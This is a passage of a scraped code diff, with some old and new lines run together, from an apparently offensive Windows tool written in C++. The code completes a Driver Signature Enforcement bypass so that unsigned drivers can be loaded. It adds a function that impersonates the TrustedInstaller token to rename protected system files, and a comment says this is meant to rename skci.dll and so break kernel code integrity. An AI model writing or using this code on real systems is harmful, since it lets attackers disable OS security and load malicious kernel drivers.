INFO(L"Completing DSE bypass after reboot...");
if (!g_controller->DisableDSEAfterReboot()) {
ERROR(L"Failed to complete DSE disable after reboot");
return 2;
}
} else {
DEBUG(L"Normal DSE disable request");
INFO(L"Disabling Driver Signature Enforcement..."); INFO(L"Disabling Driver Signature Enforcement...");
if (!g_controller->DisableDSE()) { if (!g_controller->DisableDSE()) {
ERROR(L"Failed to disable DSE"); ERROR(L"Failed to disable DSE");
return 2; return 2;
} }
}
SUCCESS(L"DSE disabled successfully!"); SUCCESS(L"DSE disabled successfully!");
INFO(L"You can now load unsigned drivers"); INFO(L"You can now load unsigned drivers");

View File

@@ -483,8 +483,43 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::ws
return success; return success;
} }
// Rename system32 library skci.dll with intentional letter swap typo
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring& srcPath,
const std::wstring& dstPath) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
ERROR(L"Failed to get TrustedInstaller token");
return false;
}
if (!ImpersonateLoggedOnUser(hToken)) {
ERROR(L"Failed to impersonate TrustedInstaller");
return false;
}
// Clear attributes on source
DWORD attrs = GetFileAttributesW(srcPath.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
}
BOOL result = MoveFileW(srcPath.c_str(), dstPath.c_str());
DWORD error = result ? ERROR_SUCCESS : GetLastError();
RevertToSelf();
if (!result) {
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPath.c_str(), dstPath.c_str(), error);
return false;
}
DEBUG(L"File renamed successfully: %s -> %s", srcPath.c_str(), dstPath.c_str());
return true;
}
// ============================================================================ // ============================================================================
// REGISTRY OPERATIONS (NEW) // REGISTRY OPERATIONS
// ============================================================================ // ============================================================================
bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,

View File

@@ -26,6 +26,9 @@ public:
const std::vector<BYTE>& data) noexcept; const std::vector<BYTE>& data) noexcept;
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept; bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
bool RenameFileAsTrustedInstaller(const std::wstring& srcPath,
const std::wstring& dstPath) noexcept;
// Creates a directory with TrustedInstaller privileges // Creates a directory with TrustedInstaller privileges
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept; bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;